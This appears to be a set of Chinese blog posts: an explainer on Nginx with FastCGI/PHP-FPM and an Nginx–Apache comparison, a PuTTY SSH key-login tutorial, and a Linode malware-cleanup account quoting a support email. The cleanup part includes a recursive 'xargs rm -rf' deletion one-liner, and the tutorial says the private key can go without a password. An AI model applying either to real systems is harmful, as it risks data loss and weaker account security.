FastCGI接口方式采用C/S结构,可以将HTTP服务器和脚本解析服务器分开,同时在脚本解析服务器上启动一个或者多个脚本解析守护进程。当HTTP服务器每次遇到动态程序时,可以将其直接交付给FastCGI进程来执行,然后将得到的结果返回给浏览器。这种方式可以让HTTP服务器专一地处理静态请求或者将动态脚本服务器的结果返回给客户端,这在很大程度上提高了整个应用系统的性能。

Nging和FastCGI合作

Nginx不支持对外部程序的直接调用或者解析,所有的外部程序(包括PHP)必须通过FastCGI接口来调用。FastCGI接口在Linux下是socket(这个socket可以是文件socket,也可以是ip socket)。

接下来以Nginx下PHP的运行过程来说明。PHP-FPM是管理FastCGI的一个管理器,它作为PHP的插件存在。

  1. FastCGI进程管理器php-fpm自身初始化,启动主进程php-fpm和启动start_servers个CGI 子进程。主进程php-fpm主要是管理fastcgi子进程,监听9000端口。fastcgi子进程等待来自Web Server的连接。
  2. 当客户端请求到达Web Server Nginx是时,Nginx通过location指令,将所有以php为后缀的文件都交给127.0.0.1:9000来处理,即Nginx通过location指令,将所有以php为后缀的文件都交给127.0.0.1:9000来处理。
  3. FastCGI进程管理器PHP-FPM选择并连接到一个子进程CGI解释器。Web server将CGI环境变量和标准输入发送到FastCGI子进程。
  4. FastCGI子进程完成处理后将标准输出和错误信息从同一连接返回Web Server。当FastCGI子进程关闭连接时,请求便告处理完成。
  5. FastCGI子进程接着等待并处理来自FastCGI进程管理器(运行在 WebServer中)的下一个连接。

Apache和Nginx比较

功能对比

Nginx和Apache一样,都是HTTP服务器软件,在功能实现上都采用模块化结构设计,都支持通用的语言接口,如PHP、Perl、Python等,同时还支持正向和反向代理、虚拟主机、URL重写、压缩传输、SSL加密传输等。

  1. 在功能实现上,Apache的所有模块都支持动、静态编译,而Nginx模块都是静态编译的,
  2. 对FastCGI的支持,Apache对Fcgi的支持不好,而Nginx对Fcgi的支持非常好;
  3. 在处理连接方式上,Nginx支持epoll,而Apache却不支持;
  4. 在空间使用上,Nginx安装包仅仅只有几百K,和Nginx比起来Apache绝对是庞然大物。

Nginx相对apache的优点

  • 轻量级,同样起web 服务,比apache 占用更少的内存及资源
  • 静态处理,Nginx 静态处理性能比 Apache 高 3倍以上
  • 抗并发,nginx 处理请求是异步非阻塞的,而apache则是阻塞型的,在高并发下nginx 能保持低资源低消耗高性能。在Apache+PHP(prefork)模式下,如果PHP处理慢或者前端压力很大的情况下,很容易出现Apache进程数飙升,从而拒绝服务的现象。
  • 高度模块化的设计,编写模块相对简单
  • 社区活跃,各种高性能模块出品迅速啊

apache相对nginx的优点

  • rewrite,比nginx 的rewrite 强大
  • 模块超多,基本想到的都可以找到
  • 少bug,nginx的bug相对较多
  • 超稳定
  • Apache对PHP支持比较简单,Nginx需要配合其他后端用

选择Nginx的优势所在

  1. 作为Web服务器: Nginx处理静态文件、索引文件,自动索引的效率非常高。
  2. 作为代理服务器,Nginx可以实现无缓存的反向代理加速,提高网站运行速度。
  3. 作为负载均衡服务器,Nginx既可以在内部直接支持Rails和PHP,也可以支持HTTP代理服务器对外进行服务,同时还支持简单的容错和利用算法进行负载均衡。
  4. 在性能方面,Nginx是专门为性能优化而开发的,在实现上非常注重效率。它采用内核Poll模型(epoll and kqueue ),可以支持更多的并发连接,最大可以支持对50 000个并发连接数的响应,而且只占用很低的内存资源。
  5. 在稳定性方面,Nginx采取了分阶段资源分配技术,使得CPU与内存的占用率非常低。Nginx官方表示,Nginx保持10 000个没有活动的连接,而这些连接只占用2.5MB内存,因此,类似DOS这样的攻击对Nginx来说基本上是没有任何作用的。
  6. 在高可用性方面,Nginx支持热部署,启动速度特别迅速,因此可以在不间断服务的情况下,对软件版本或者配置进行升级,即使运行数月也无需重新启动,几乎可以做到7×24小时不间断地运行。

同时使用Nginx和Apache

由于Nginx和Apache各自的优势,现在很多人选择了让两者在服务器中共存。在服务器端让Nginx在前,Apache在后。由Nginx做负载均衡和反向代理,并且处理静态文件,讲动态请求(如PHP应用)交给Apache去处理。

原文地址:http://yansu.org/2014/02/15/apache-and-nginx.html

参考

  1. Apache运行机制剖析
  2. Apache处理http请求的生命周期
  3. Nginx平台初探
  4. Nginx架构综述
  5. Apache, nginx, lighttpd性能比较

SSH证书让Putty免密码登陆Linux的方法,此方法是针对windows端下的。
1.第一步,下载putty,建议下载这个中文版。http://code.google.com/p/puttycn/
主要是下载到puttygen.exe

2、用PuTTY SSH 密钥生成工具puttygen.exe生成密钥
生成的密钥类型和位数按照默认的就行,SSH-2 RSA,2048位
生成密钥时你需要在空白区域移动鼠标,以便产生随机数据
点击保存私钥(可以不设置密码保护)

保存下你的私钥到文件中(ppk后缀的),这个文件很重要,一定要放好,公钥文件是放到linux端的,你也可以保存下,等会需要生成的公钥。
密码不需要填写。

3、SSH密码方式登入远端Linux服务器/VPS,创建.ssh/authorized_keys.
vim /.ssh/authorized_keys
将puttygen.exe生成的公钥内容粘贴至
/.ssh/authorized_keys.
比如我生成的内容为:
ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQsdfEA0TkpyA25QTupNR/CALYVjDmpgPWE2oiRzMs8CLIX8IAiTbYPsdfooT7cdGsdf75ipTCV8+fV8Fdfyq5SfkTqA8aninNjDfw2y5fkaPwvoQhK3qFqxQkBBO2tgj4K90pXAdlub2OPsd135dcj9b2bSvv9KssdfdggfhNsV/NkDAojpYmK1YWhZsUj4EuVdvvgeIFIAYo9OPzFCtARctCEDLVmsI8/M9UOTMPdvOkr7KAzvDcQ7dZwQWWDDeUAQtN+NBdOj5bn8YasXS4X01cU4krBOs5nUrnsxD+kciz0kROLiAn1Hv4G1osd8pvXTRup5w== rsa-key-20140221

注:公钥内容就在显示的公钥(P)由OpenSSH认可: 这行字符下面.
至于为什么文件名是authorized_keys,可以在/etc/ssh/sshd_config中找到下面两行
#PubkeyAuthentication yes
#AuthorizedKeysFile .ssh/authorized_keys

4.用SSH证书登陆你的Linux服务器/VPS
Putty→会话:将服务器IP填好
Putty→连接→数据:填好自动登陆用户名
Putty→连接→SSH→认证:选择认证私钥文件
回到Putty→会话:保存的会话,填个名称保存下吧,下次直接双击名称就可以登录了,赶紧登录吧.

选择你的私钥文件即可,上一步要保存你的私钥文件的,这个文件一定要保存好。

5.为了安全你需要取消SSH的密码认证方式.(可选操作,添加后你将不能使用密码方式登陆)
vim /etc/ssh/sshd_config
添加下面这行
PasswordAuthentication no
重启SSH服务
service sshd restart

今天接到linode通知,一个VPS中有恶意软件,让我删除,不过VPS无法开机了,以前也遇到过一次, 这次又遇到了,看来只有把VPS直接重新创建才行,linode也建议如此。
Hello,

You may want to audit the following log files and writable directories:

  • “/var/log/auth.log”: You may have fallen victim to a SSH brute force attack.
  • “last”: You can cross reference recent account logins with the brute force attempts in “/var/log/auth.log”.
  • /tmp: This directory is often used by attackers to store their files in.
  • Web server logs: You may have installed a vulnerable script or web application.
  • “ps aux”: Check for foreign processes.

If you do find that your system has been compromised, I’d strongly suggest completely redeploying your Linode as it is often very difficult to determine the full scope of an attack. If downtime is a concern to you, the following guide will assist you with safely recovering your data and redeploying your Linode with minimal downtime:

If you do not want to spin up a new Linode as advised in the above guide, you can simply deploy a new distribution and mount your old disk images within it to copy your data over. You will first need to free up some space to deploy the new distribution. You can do this by resizing your existing disk image:

You can then deploy your new distribution and attach your old disk images to it:

  • Select the “Deploy a Linux Distribution” link on your dashboard.
  • Choose your desired distribution, fill in the the required values, and then click on “Deploy”.
  • Return to the dashboard and select your new configuration profile.
  • Attach your old disk image to the drive setup of your new deployment.
  • Boot into your new deployment and mount your old disk image.
  • Copy your data.

Once you have redeployed your Linode, I’d also recommend implementing some of the security measures advised in our “Security Basics” guide to minimize the risks of a security breach in the future:

I hope that you have found this information helpful. Please keep us updated on your progress and findings.

Thanks,
Mark
Linode Support

=====
如果你不想rebuild,建议以下做法,可以删除掉恶意软件,然后正常重新启动。主要是通过lish连接VPS,如果你的VPS确定无法启动了,首先要做的是Rescue and Rebuild
具体操作在这儿:https://library.linode.com/rescue-and-rebuild
然后再通过lish连接你的VPS,进入VPS后,删除恶意软件即可。

连接到VPS后,先mount -o barrier=0 /dev/xvda
接着 cd /media/xvda
使用以下命令删除恶意软件
比如我的 find /media/xvda/home/ -name “*.rar” | xargs rm -rf

把这些恶意办的删掉,VPS便可以重新启动了。

0%